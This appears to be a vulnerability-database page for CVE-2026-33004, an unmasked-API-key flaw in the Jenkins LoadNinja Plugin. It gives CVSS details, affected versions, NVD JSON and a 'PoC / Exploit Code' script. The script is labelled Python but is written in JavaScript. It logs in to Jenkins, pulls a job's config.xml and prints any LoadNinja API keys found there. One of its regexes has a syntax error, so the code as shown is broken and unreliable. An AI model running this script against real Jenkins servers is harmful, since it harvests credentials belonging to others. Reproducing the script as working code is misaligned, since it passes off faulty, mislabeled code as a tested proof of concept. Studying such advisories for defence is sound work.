Security Vulnerability Report
中文
CVE-2026-33004 CVSS 4.3 MEDIUM

CVE-2026-33004

Published: 2026-03-18 16:16:28
Last Modified: 2026-03-21 00:17:46

Description

Jenkins LoadNinja Plugin 2.1 and earlier does not mask LoadNinja API keys displayed on the job configuration form, increasing the potential for attackers to observe and capture them.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:loadninja:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins LoadNinja Plugin <= 2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-33004 PoC - Jenkins LoadNinja Plugin API Key Exposure // This PoC demonstrates how to identify exposed API keys in Jenkins job configuration const axios = require('axios'); async function checkJenkinsJobConfig(baseUrl, jobName, username, apiToken) { try { // Get Jenkinscrumb for CSRF protection const crumbResponse = await axios.get(`${baseUrl}/crumbIssuer/api/json`, { auth: { username, password: apiToken } }); const crumb = crumbResponse.data.crumbRequestField; const crumbValue = crumbResponse.data.crumb; // Access job configuration page const configUrl = `${baseUrl}/job/${jobName}/config.xml`; const response = await axios.get(configUrl, { auth: { username, password: apiToken }, headers: { [crumb]: crumbValue } }); // Search for unmasked API key patterns // Look for LoadNinja API key in configuration const apiKeyPattern = /<loadNinjaApiKey>([^<]+)<\/loadNinjaApiKey>/g; const matches = response.data.match(apiKeyPattern); if (matches && matches.length > 0) { console.log('[+] Potential exposed API keys found:'); matches.forEach(match => { const apiKey = match.replace(/<loadNinjaApiKey>|</loadNinjaApiKey>/g, ''); console.log(' Key:', apiKey); }); return matches; } console.log('[-] No exposed API keys detected'); return null; } catch (error) { console.error('Error:', error.message); return null; } } // Usage // checkJenkinsJobConfig('http://jenkins-server:8080', 'job-name', 'user', 'api-token');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33004", "sourceIdentifier": "[email protected]", "published": "2026-03-18T16:16:28.457", "lastModified": "2026-03-21T00:17:45.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins LoadNinja Plugin 2.1 and earlier does not mask LoadNinja API keys displayed on the job configuration form, increasing the potential for attackers to observe and capture them."}, {"lang": "es", "value": "El plugin de Jenkins LoadNinja 2.1 y versiones anteriores no enmascara las claves API de LoadNinja mostradas en el formulario de configuración del trabajo, lo que aumenta el potencial para que los atacantes las observen y capturen."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:loadninja:*:*:*:*:*:jenkins:*:*", "versionEndExcluding": "2.2", "matchCriteriaId": "9BCE27DC-E2B1-4969-AE65-2E2CEA7C0514"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-03-18/#SECURITY-3642", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}